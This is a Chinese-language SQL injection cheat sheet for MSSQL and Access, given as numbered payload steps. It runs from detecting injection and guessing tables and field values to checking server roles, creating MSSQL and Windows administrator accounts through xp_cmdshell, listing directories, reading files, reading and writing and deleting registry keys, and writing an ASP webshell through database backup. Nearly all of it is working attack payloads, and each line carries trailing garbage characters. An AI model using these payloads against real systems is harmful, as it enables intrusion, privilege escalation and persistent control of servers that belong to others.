1.判断是否有注入;and 1=1 ;and 1=2 "TWNit
2.初步判断是否是mssql ;and user>0 ^,Sl^ 9K
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3.注入参数是字符'and [查询条件] and ''=' =Vgj=19X(
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Q%xvS,oI
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5.判断数据库系统 Q k`yK|(0=
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;and (select count(*) from msysobjects)>0 access [qHLo>HaL
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 #j_<iy
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ^#H%LLt
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 pGZI697
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9.(1)猜字段的ascii值(access) J!Kk7!^|
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 zSYh\g"
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(2)猜字段的ascii值(mssql) `-l,`7e'
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 bK)gB!
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10.测试权限结构(mssql) y<|vcg8x
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- w[>/(R7im
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- cLN(yL
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- @"*8nV#
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- LB<,(dyh
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- WJG& `PP
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- EwSE;R -
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;and 1=(select IS_MEMBER('db_owner'));-- zwAkXj
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11.添加mssql和系统的帐户 r)jj]$0
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;exec master.dbo.sp_addlogin username;-- @_&@M~ u
;exec master.dbo.sp_password null,username,password;-- Qt_LBJUWV
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- NX?J
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;exec master.dbo.xp_cmdshell 'net user username password N?d4Pu1m
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- $]/a/!d
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- .bh>_ W_h
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 0&1!9-(d
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12.(1)遍历目录 &e\A v.n@-
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;create table dirs(paths varchar(100), id int) |V2+4b,
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;insert dirs exec master.dbo.xp_dirtree 'c:\' f#:7$:{F1
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;and (select top 1 paths from dirs)>0 i%7b)t[y
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- Zy2@1-z6
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 Dm':D
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 g)+45w*+5
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 yQ>
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 pb~&gliW
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13.mssql中的存储过程 pQaP9Y{OK
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xp_regenumvalues 注册表根键, 子键 PgZ~of&
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 :('7ly!h
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xp_regread 根键,子键,键值名 6g@@V=mf
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 /i+8b(x
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xp_regwrite 根键,子键, 值名, 值类型, 值 (o,&P9
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 w$*t.Q*
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xp_regdeletevalue 根键,子键,值名 WY%LeC!t
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 gP*:>[lR
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 IAbK]kA
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14.mssql的backup创建webshell {9KG06%+
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create table cmd(str image); KYY~ YP
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insert into cmd(str) values (''); *B(na+
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backup database model to disk='c:\l.asp'; UO}Kk*
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15.mssql内置函数 2s,wC!',
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;and (select @@version)>0 获得Windows的版本号 ,L&Ka|N0
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa G0$
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;and (select user_name())>0 爆当前系统的连接用户 9 ="i'nYp
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;and (select db_name())>0 得到当前连接的数据库 9PEjV$0E2
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16.简洁的webshell _$"qC[.
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use model pDD0 QO
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create table cmd(str image); zw^jIg$
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insert into cmd(str) values (''); }9e4?7
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backup database model to disk='g:\wwwtest\l.asp';